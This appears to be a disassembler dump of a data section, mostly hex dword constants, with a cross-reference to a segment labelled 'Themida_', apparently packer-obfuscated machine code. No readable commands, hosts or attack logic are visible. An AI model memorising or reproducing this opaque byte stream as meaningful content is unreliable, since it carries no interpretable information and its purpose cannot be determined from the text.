83110430h, 0E77504E9h, 0C08B00EBh, 0FAC78166h dd 18E0FEFh, 0F9000000h, 483E84BFh, 55BD8303h, 305E21Bh dd 39D850Fh, 0F98B0000h, 0BB9DBD83h, 0F0005E5h, 38E84h dd 2D8D0900h, 0FF05E230h, 0E5BB9DB5h, 15BD8B05h, 0FF05E231h dd 0E2172D95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 5FB3FC3Bh, 0BB91B58Bh dd 72BF05E5h, 0C71C286Eh, 1000106h, 0CDBD8B00h, 9605E20Eh dd 6775BB66h, 0BE850h, 94C40000h, 0F7836DE1h, 0D50A814Eh dd 0EE960F6h, 0A3000000h, 0EA68C0ECh, 0CB3AF970h, 91F5B3A6h dd 965F617Dh, 0EE78166h, 9DB5FFE8h, 8905E5BBh, 0E21079BDh dd 0D195FF05h, 6A05E22Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 67EBC356h, 8BFD771Fh dd 0E5BB91B5h, 1830F05h, 0F8000000h, 0D860Fh, 29600000h dd 0E21B6D95h, 0F3816605h, 8B619FE5h, 0E210DD85h, 4D9D8B05h dd 8005E230h, 868979E3h, 0C4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 3180D6B8h, 0E20AC18Dh dd 467CBB05h, 8BF508F8h, 0E20BE995h, 0ADB58905h, 8305E22Ah dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0E35760C3h, 0FDF8B66h, 1384h, 0EE900h, 0C0AF0000h dd 0C3EC74D5h, 0AC6A75FDh, 5A930976h, 5089DD8Ah, 50006A20h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 581C2B32h, 8F71D240h, 0D9BD09C4h, 8D05E22Ch, 0E5CE5B85h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 395C3247h, 0BB668744h, 86892AE0h, 0B8h dd 0AE8h, 58196700h, 0D897B097h, 8BBFD3A4h, 0E208419Dh dd 6A5B05h, 8859D8Bh, 0B5FF05E2h, 5E5BB9Dh, 6E8h, 0D541BA00h dd 66081EFBh, 5BE7AFBBh, 6E9h, 0C56CA800h, 0FFC11C42h dd 0E214E995h, 0A1BD0105h, 5005E209h, 269589BFh, 24348925h dd 0B719D03h, 8D0F05E2h, 3, 0FFDF8B66h, 0E5BB9DB5h, 3DBD8B05h dd 0FF05E232h, 0E22D2195h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0EEEFB854h dd 0AE781EABh, 75BB66C7h, 89BD838Dh, 5E200h, 38840Fh, 95890000h dd 5E218E9h, 8A0F6096h, 0 dd 6FACB7B8h, 0B750610Dh, 6A9616h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 98859C3h, 0B5FF40CDh dd 5E5BB9Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 31C35040h, 0FF775B26h, 0E2041595h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8BAB29h, 5E21D7Dh, 0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF6660C3h dd 95FFC51Fh, 5E20A59h, 8F0FFD8Ah, 6, 1EED9D8Bh, 0BD8305E2h dd 5E224CDh, 4C840F02h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B052C357h dd 858B8F98h, 5E21F35h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 65C35040h, 0C60C5Bh, 8D8D8900h, 0C705E20Dh dd 0E20CF985h, 5, 719D0100h, 0E905E201h, 0FFFFF425h, 3F22CF81h dd 0C18B2D4Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 17C35646h, 0BB13793Ah, 3A85AD3Fh, 0E91858Dh, 896005E2h dd 0E20BA995h, 50506105h, 0BE860h, 997F0000h, 0C36ED572h dd 0C11ED247h, 21B75BE2h, 4895F61h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0D0BFF893h dd 6AF5BEDBh, 0F006A00h, 686h, 9DBD8B00h, 8D05E20Bh, 0E73A0485h dd 61F86005h, 11E8h, 3BA3AE00h, 6BF42106h, 0E0DC61B7h dd 9B438974h, 8950CD1Bh, 0E231A985h, 835B5F05h, 6A05C0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 574631C3h, 0EE8h, 29B6C700h, 85C82480h, 92F5BA0Dh, 0F3D2A4Dh dd 5F5BD9B7h, 8FBF6650h, 2404893Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 3EC35343h, 3870Fh, 0BF0F0000h dd 0A19D8BD8h, 6A05E22Ch, 1DBB6600h, 6A006A95h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 21EFC351h, 0E5A08B83h, 1E2D95FFh, 0B5005E2h, 0E20D69BDh dd 8D8D5F05h, 5E59D80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 45C35040h, 0D98BF968h, 6AD1FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0A22D29C3h, 0B9BD834Fh, 105E200h, 8D850Fh, 0B70F0000h dd 6A026AFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 55FAC352h, 11E95250h, 0DB000000h dd 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh, 2404895Bh dd 13E8h, 3CEF5600h, 861D3B70h, 0FDC04751h, 4D46A6A4h dd 0C6AD516h, 541BD23h, 0FF5B05E2h, 0E214E995h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 7D7AE2C9h, 0EF80AE14h, 0D19D23DEh, 0E905E224h, 0E37h dd 0E8h, 0ED815D00h, 5E73A0Eh, 0FE9h, 0D43DBD00h, 0F917793h dd 294055B7h, 9821B3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0D8C35646h, 2870F0Ch, 8A000000h, 0F38166FDh dd 858DE001h, 5E58E9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 96C35747h, 96DA68D0h, 9E8738Ah, 67000000h dd 0BA6760CEh, 1D5FA5E7h, 4880Fh, 0BB660000h, 905FCA6Ah dd 0A0FCA6BFh, 5652500Ah, 5B5B6160h, 0FE990h, 0A070000h dd 0F354577Bh, 95187898h, 7F960953h, 13E86009h, 2A000000h dd 3478F440h, 0AA4322EEh, 0C1F4A722h, 0EFCCD418h, 81664852h dd 59960FF0h, 4E58531h, 646105E2h, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 4AA3EFC3h, 0CC9BF27h, 333DBB19h, 60F525BAh, 8BC38B66h dd 0E2245DBDh, 89646105h, 25h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 6F46289Dh dd 2985FF3Fh, 8B05E223h, 0E201299Dh, 66FF6A05h, 0FFAF9BBFh dd 0E22ACDB5h, 0AE805h, 0E1E30000h, 53BEA2E2h, 2A180768h dd 95FF5BF5h, 5E2189Dh, 123E9h, 41BD8B00h, 0B005E221h dd 0AE900h, 0F1DA0000h, 9313DEF1h, 8CCBD884h, 0BD8970E6h dd 5E213B5h, 12E9h, 5558F700h, 32C604EBh, 35C98645h, 3E859BB5h dd 0E467AB1Dh, 0D98B6671h, 830F613Ch, 0E0h, 2BCD9589h dd 0B60F05E2h, 0FAFCBBC8h, 6BA6390h, 8B000000h, 0E20645BDh dd 89C18B05h, 0E2093D85h, 4E8C105h, 0E2F766F8h, 84ADDFBBh dd 1C82B61h, 0E219A59Dh, 66D18B05h, 400CF81h, 9FE9h, 0D59D8900h dd 8B05E205h, 47554C85h, 9DB50149h, 8305E20Dh, 810F07C0h dd 6, 14719589h, 0C08305E2h, 0FD03B00h, 1E83h, 0EE900h dd 0A1870000h, 6A6CD7F5h, 65DE6B3Dh, 0A50910F7h, 5BE9h dd 0A5BD8900h, 8B05E21Bh, 0FFFFFF8Dh, 6E9FFh, 72B80000h dd 85CDEC3Eh, 2CB59D8Bh, 0E18305E2h, 35840F01h, 8B000000h dd 0E20FF9BDh, 0FFA58305h, 0FEFFFFFFh, 9870Fh, 8F0F0000h dd 3, 89D98B66h, 47554C95h, 8890F49h, 50000000h, 1821BD8Bh dd 0E95F05E2h, 0 dd 0BC78B58Dh, 6A05E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 8BBC17C3h, 5290F1CBh, 6AD98B73h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 41E7E68Eh, 36ED7B78h, 95FF7F60h, 5E20AB9h dd 15858950h, 5B05E207h, 0F82B9h, 4DB58900h, 8305E21Ah dd 11E8FCE1h, 0F2000000h, 0EDD2A429h, 0BE252EE7h, 1001368Ch dd 0ACD05A53h, 0FF9FC5Fh, 0C02BD8B7h, 0CFD9D8Bh, 0D22B05E2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 50C35747h dd 43EAAD8Fh, 1C9DBD8Bh, 33AD05E2h, 3E8D1C2h, 4E983D0h dd 0BB66F475h, 6A68E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0AFB719C3h, 64BE4DFEh, 9D8B5E16h dd 5E22141h, 880Dh, 7E900h, 64290000h, 0DC8BEFFBh, 0E9958B72h dd 6A05E20Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0E147C350h, 87F6649Eh, 8BCDE1F4h dd 0E207618Dh, 3CB8005h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0F98B5818h, 3B6731BFh, 79BD8311h, 5E20Dh dd 61840Fh, 0BD2B0000h, 5E2111Dh, 0B8h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 7DE47179h, 0FABF0F2Eh, 44D38166h, 428D8DDAh, 105E24Ch dd 0E20479BDh, 6AE1FF05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 663BC355h, 832571BBh dd 0E21B55BDh, 840F0005h, 492h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0FEC35646h, 752260E3h, 13E939h dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h, 0EB8C09B9h dd 55BD839Dh, 105E21Bh, 467840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8707ADC3h dd 0E51FE54Fh, 68C0FF9h, 8B000000h, 0E214959Dh, 819D8905h dd 8305E20Fh, 0E21B55BDh, 860F0305h, 3EFh, 6A60D98Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0ED21C352h, 92731CB4h, 0AC3C6BEBh, 0BE9h, 0E75F6F00h dd 3D706EF0h, 5D372EA9h, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9B8C357h dd 0Ah, 0C2BE0325h, 0BC1D975h, 0E18000C9h, 0D858904h, 0A05E210h dd 57840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 46FEC355h, 127AC955h dd 8127C1DDh, 0D34E75C3h, 1D858B66h, 6A05E224h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0EBDEC350h, 912C5C17h, 0BD8BE856h, 5E21A79h, 2AA98533h dd 8D8905E2h, 5E23049h, 90261CBFh, 52509047h, 12E8h, 0A36D0100h dd 312039C0h, 95C1BB05h, 0D11834D2h, 60866C13h, 310F5B61h dd 5ADA8B66h, 0FC8A5058h, 99EF8090h, 1F0D9589h, 6A05E2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7BC35747h dd 0CFDEF5DEh, 7ACE21E0h, 31D98BD1h, 0E22D898Dh, 0F86E6805h dd 0BF667B87h, 348179CDh, 98FB9124h, 57006A7Bh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 61A569CDh dd 0F3F26EC2h, 0CCC781FEh, 2B32A8F7h, 0E20BE59Dh, 3995FF05h dd 0F05E208h, 686h, 9BD8B00h, 8905E22Bh, 0E5BB9D85h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 64A48B17h, 0C06F4194h, 0E1DF8195h, 0E913AF25h, 1BAh dd 5A1BD8Bh, 858B05E2h, 5E5BB95h, 28E0Fh, 0FE8B0000h, 1800C7h dd 0BB560000h, 6689863Eh, 0F8BF0F5Bh, 0BB99B58Bh, 6A05E5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 6D6E97C3h, 0E65555BAh, 0D8E0Fh, 5E80000h, 55000000h dd 0A8A69ED3h, 8B5B6160h, 0E200F985h, 299D8B05h, 8905E214h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 858BF582h, 5E2241Dh, 44689F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E8C35545h, 6588056Ch dd 0BF6650F1h, 348927C9h, 0FB8B6624h, 0C158D89h, 0B5FF05E2h dd 5E5BB95h, 40E38166h, 4E829h, 3FF0000h, 0E860001Fh, 14h dd 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 4F9137F2h, 27839D4Fh dd 5FFE8B66h, 9E8h, 70F6A700h, 64287B95h, 615E45C8h, 8BDD8A50h dd 66042444h, 8BD98Bh, 0C489D3BFh, 2444897Bh, 644BF04h dd 6A583784h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 24D8C357h, 77552CE0h, 0BF2DF4B3h dd 907AA6BBh, 9D858D0Ah, 6A05E5BBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3DBAC352h dd 0F024283Bh, 56507405h, 895B82B7h, 0B5892404h, 5E20979h dd 83995FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0AEAB1EC3h, 4B076150h, 0BD8BD4CCh dd 5E23335h, 3A50DB81h, 6A616E16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A881C351h dd 8473AE0Ch, 0F1D38038h, 1B5585C7h, 305E2h, 9D890000h dd 5E223FDh, 0BB9DBD83h, 0F0005E5h, 2A84h, 0F98B6600h dd 3DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0A99D8B52h, 5005E229h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 787083C3h dd 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 9FED1AC3h, 43209B4Ah, 3DBD2920h, 5305E200h dd 13E8h, 54776000h, 0E45DDE53h, 83CA1999h, 271DE2AAh dd 1354B788h, 8D0Fh, 5B5F0000h, 1B55BD83h, 0F0305E2h, 46F85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 61BD8BBBh, 8305E217h, 0E5BB9DBDh, 840F0005h dd 440h, 0FFDABF0Fh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BEB7524Ch dd 4E12DAEh, 840F98D4h, 6, 15E5BD03h, 95FF05E2h, 5E2172Dh dd 6870Fh, 0B5290000h, 5E2161Dh, 0BB91B58Bh, 6A05E5h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0BD00FC3h, 0B68E4D4Eh, 841B589h, 6C705E2h, 10001h, 418D8B60h dd 8B05E20Ah, 0E215499Dh, 52506105h, 2840Fh, 99B70000h dd 2434895Fh, 0BCC4BB66h, 0BB9DB5FFh, 0CF8005E5h, 0BF66509Dh dd 0FF5BB3C9h, 0E22BD195h, 399D8B05h, 8905E211h, 0E20915BDh dd 91B58B05h dd 6605E5BBh, 8B35AFBBh, 0E210DD85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0F970D10h dd 89FC3CDDh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0ACF4A49Bh, 5327BF58h dd 958B1020h, 5E20BE9h, 18F19D0Bh, 0C28305E2h, 0D1BD8B04h dd 8905E230h, 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0DF142CC3h, 5B858DC0h, 6A05E5CEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0AC66C353h, 7E84332h, 44000000h, 52C62406h dd 9D8BCF99h, 5E207C9h, 0B886895Bh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 72FDC353h, 0FFF30B1h, 683h, 358D8900h, 8005E207h, 8B66CEE3h dd 29006AF8h, 0E2099185h, 9DB5FF05h, 6A05E5BBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 9E47C355h, 0B198D09h, 0BB6605E2h, 95FF86E2h, 5E214E9h dd 0CD43EBBFh, 0CE99632h, 41000000h, 36ED7B78h, 70937F60h dd 50784DE8h, 699D8B96h, 0FF05E200h, 0E5BB9DB5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 48B614C5h, 0FFCC96C4h, 0E22D2195h, 0A9C38105h, 8312A89Fh dd 0E20089BDh, 840F0005h, 0ABh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0B4C35646h, 0C37877Fh, 7C2E4C2Fh dd 0C21BD03h, 5E905E2h, 0D3000000h, 3BE387BBh, 0CE9h, 30470100h dd 0FCEE6635h, 0A5BDA29Bh, 10E8507Dh, 6F000000h, 785CE3DAh dd 0C698814Ch, 86FC0B0Eh, 0E86207D2h, 9, 1FCB39EDh, 1C39444Bh dd 0BE9C6h, 0BF650000h, 947C5A27h, 3899E579h, 895B5F08h dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0BEAAC7C3h, 0D59D8B2Bh, 6005E213h, 615B589h dd 0FF6105E2h, 0E5BB9DB5h, 55BB6605h, 1595FF5Dh, 6A05E204h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 5E50C353h, 558B766Eh, 14A1BD8Bh, 816605E2h dd 0FF4454EFh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 180A92A0h dd 0BBA819D7h, 4F66335Fh, 0A5995FFh, 0BD0B05E2h, 5E231A9h dd 24CDBD83h, 0F0205E2h, 7E84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 755481F0h dd 35858B3Bh, 6A05E21Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 6A87C356h, 0CF2C7206h dd 0EDF7816Eh, 0C67CBCA5h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7F29AC3h dd 28A0F42h, 0B3000000h, 3D9D8B3Bh, 0C705E226h, 0E20CF985h dd 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 6B69A79h, 3F72CB36h, 9D03B45Ch, 5E223B5h dd 0FFF334E9h, 8BFE8AFFh, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0E5E0B3C3h dd 299D014Ah, 8D05E20Eh, 0E749118Dh, 81666005h, 0F8DF9AEFh dd 0E98D8961h, 6A05E20Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 8A28C353h, 2B8076D5h dd 0C7C28B66h, 0E2076185h, 73C405h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C74355E0h dd 0F38A1280h, 0EA59523h, 85C705E2h, 5E21B55h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CCC35343h dd 0A18EFE7Eh, 8580D0BEh, 5DB5FFB5h, 6A05E232h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 99E5C356h, 7EEF0838h, 0B1595FFh, 0D68005E2h, 0FF006AACh dd 0E20AB995h, 0EBC08B05h, 0ED44EF5Fh, 2F3DC619h, 0F9A1857h dd 38DCD926h, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h dd 0C3E248B4h, 9D2FE3DBh, 0B45870A3h, 335B62D9h, 22ECE5CAh dd 0D6518709h, 0FFF3497Fh, 36045B5Dh, 2BA051A9h, 0AA82826Ah dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h, 61541D51h, 89073F63h dd 0D79E92CCh, 4A3F8D8Dh, 8D8905E7h, 5E20BE9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E67CAC98h dd 0F9A1BC35h, 22298D29h, 85C705E2h, 5E20761h, 5BECh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C35242h, 0B954957Bh dd 0FD288ABDh, 5585C71Ch, 5E21Bh, 66000000h, 8B4D0ABEh dd 0E2302DB5h, 0D1B5FF05h, 6A05E21Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 220EC357h dd 0B1595FFh, 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 816697C3h, 6AE914DFh, 0B995FF00h dd 8B05E20Ah, 0BB4CEBC0h, 75C6A106h, 21A02705h, 0FC1AAC0Eh dd 6FE2FC07h, 0DDB5FFDBh, 0B8B469DAh, 86AC9ACFh, 469DB802h dd 0B439EC4Ah, 636E35C8h, 1B611CE2h, 3309D6A3h, 8E637AF0h dd 4685336Ch, 0C03821E2h, 5D704EC4h, 2796B96h, 26F293E1h dd 20522606h, 0C8570F58h, 10010F31h, 56C25112h, 257BBBh dd 6254BB3h, 1010F26h, 80C25974h, 40B482BBh, 0AC670AD0h dd 460165EAh, 8010CDAh, 0C75F2F32h, 2675866Ch, 25458E36h dd 80011236h, 83574932h, 16E720B4h, 33BAE0D9h, 8B0E51B2h dd 4010F32h, 860E0B9Ah, 1010D4Dh, 68F6B03Dh, 40010F3Eh dd 0A8E89BDEh, 0B69D170Bh, 8D9CFEFCh, 24C92B9h, 815E0AD0h dd 0E312CA8Fh, 40E0F37h, 40010F51h, 0C8560F58h, 10010F31h dd 57C25012h, 2573BBh, 6254BB3h, 1010F25h, 2FC25875h, 0A81529C2h dd 20010F34h, 76D6601Ch, 8C0E8E8Ah, 4010F32h, 20E66Ch dd 16B0F32h, 8002E764h, 1E210F32h, 548851F1h, 54800B16h dd 8180B16h, 52470F32h, 4A31ABF1h, 8893DA3Ch, 62055EB7h dd 91B48637h, 0B004ED2Dh, 0B673B554h, 4850062h, 64010F32h dd 6F20B488h, 0F3C8B65Eh, 1060567Ch, 0A8520F58h, 20010F31h dd 4BC25412h, 0C2553BBh, 254BB3h, 2010F2Ah, 2CC25C71h dd 42C14931h, 0FAA8FCB3h, 9E674E71h, 110E3D67h, 62FF2B7Eh dd 7E95832h, 22010F32h, 885ECC6Dh, 1052B4Eh, 56052B76h dd 67010F32h, 69AECC65h, 0A9C38F8Ch, 9594266Ah, 8104ED2Bh dd 16B23F2h, 8002E760h, 1A210F32h, 748855F1h, 54800B16h dd 81C0B16h, 56430F32h, 3749D2F1h, 3ED71EDCh, 9C854E2h dd 0A22D86A7h, 4A098437h, 13E95E32h, 28010F32h, 8D58CC6Bh dd 83052B7Eh, 18052B76h, 0C1010F32h, 76FACC63h, 447D4584h dd 0EC498454h, 2B5C92B9h, 85670AD0h, 0DFE390Bh, 101B5B6h dd 0A1948632h, 0C304ED16h, 7F5706F3h, 1FE836B2h, 80005B7h dd 52016532h, 2010CDAh, 0C25F2F32h, 0A475866Ch, 64458E36h dd 20011836h, 0D3574932h, 267B32C1h, 17C89A11h, 438A0AD0h dd 54016533h, 80010CDAh, 835C2F32h, 46D866Fh, 34458E36h dd 8011736h, 0C7544A32h, 88EB9537h, 67C90CADh, 4182F7B9h dd 59BC8437h, 0A104ED33h, 534A9F0Bh, 0A08400B9h, 6E010F32h dd 1E95832h, 21010F32h, 95ECC6Dh, 0C1052B4Eh, 3D052B76h dd 57010F32h, 96A5CC65h, 622D3403h, 0E3C2A05h, 10DE652h dd 57B10F32h, 64E84773h, 0D745A691h, 9B0E6E6Bh, 8010F34h dd 0BCB8D4B3h, 8F605FEEh, 0E34D4DBFh, 84860037h, 26010F32h dd 98C6E489h, 10010F31h, 0E0540F58h, 4010F31h, 5FC25212h dd 52563BBh, 84254BB3h, 40010F29h, 8AC25A77h, 17CA4EEAh dd 0F79FEDB7h, 530165D3h, 2010CDAh, 0C25E2F32h, 0A47D866Dh dd 64458E36h, 20011336h, 0D3564832h, 0B1B1B603h, 79ED0153h dd 0E6E68ED4h, 603E9F10h, 68570F58h, 40010F31h, 7EC25112h dd 14257BBBh, 0C254BB3h, 4010F28h, 0A7C25974h, 0AE3065AAh dd 3D8C80BAh, 45E645A2h, 6DA682BFh, 64B90AD5h, 3B009DB1h dd 0E6228AB7h, 20CE2437h, 0C8570F58h, 10010F31h, 56C25112h dd 257BBBh, 6254BB3h, 1010F26h, 0E9835974h, 8BA4F305h dd 698589C0h, 0E905E215h, 0Ah, 52CEC921h, 0E85AFB51h, 0C38BDB57h dd 4E7C8D8Dh, 8B6005E7h, 0E20BC5BDh, 0E98D2905h, 6105E22Bh dd 0BE98D89h, 9D8B05E2h, 5E22AB9h, 85C7FD8Ah, 5E20761h dd 5C04h, 0A45BD8Bh, 85C705E2h, 5E21B55h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h dd 82FF728Bh, 0CED6CE05h, 6FCA8021h, 3249B5FFh, 95FF05E2h dd 5E20B15h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 6AC35040h, 6870Fh, 0BD010000h, 5E21B79h, 95FF006Ah db 0B9h, 0Ah, 0E2h byte_542B33 db 5 ; DATA XREF: Themida_:004EFE60o dd 2AEBC08Bh, 955BAC05h, 0B3C2C4B4h, 86050A51h, 0CA755D89h dd 9CB126B7h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h dd 4607B67Dh, 0EE8BFDCh, 9B000000h, 0AD790CA9h, 72D4D6A4h dd 341821C2h, 5ACFB94Eh, 0E95B3343h, 0Ch, 0D586D9E0h, 0DEF1F1DAh dd 0D8849313h, 6F22C381h, 8D890000h, 5E232C1h, 8BF8F633h dd 8529333Ch, 5E20A9Dh, 8180C781h, 0C08130B6h, 5201587h dd 44FDC781h, 61601B09h, 0F4E4EF81h, 57F96048h, 147D958Bh dd 48F05E2h, 0B1B58933h, 0E905E22Ah, 0Dh, 4ED00CCAh, 894FFB04h dd 4472EE84h, 4EE83C6h, 0B5895660h, 5E22449h, 8161FC5Eh dd 0FF9174FEh, 0A0850FFFh, 23FFFFFFh, 0E21A2985h, 78D8D05h dd 0F05E750h, 850FF9BFh, 6, 0A1B589h, 8D8905E2h, 5E20BE9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F4C35343h dd 9F10DD5Bh, 424665B7h, 5E95Fh, 64580000h, 802D76F8h dd 85C7C9F7h, 5E20761h, 5EC4h, 26A1BD23h, 85C705E2h, 5E21B55h dd 0 dd 6880Fh, 0B58B0000h, 5E222C9h, 2ACDB5FFh, 6A05E2h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0DBEB4C3h, 3F07D5E5h, 9D8B60DBh, 5E203E5h, 61DE8B66h dd 0FFE9E680h, 0E20B1595h, 55852905h, 6A05E21Ah, 0B995FF00h dd 8B05E20Ah, 7959EBC0h, 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 0BF13471h dd 9E91C419h, 0F9DF0394h, 0BF1B5D3Fh, 277AECDDh, 0AC9D2EAFh dd 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h, 4049DA3Dh dd 545B4D1Dh, 0B178E757h, 2670913Eh, 6925EB94h, 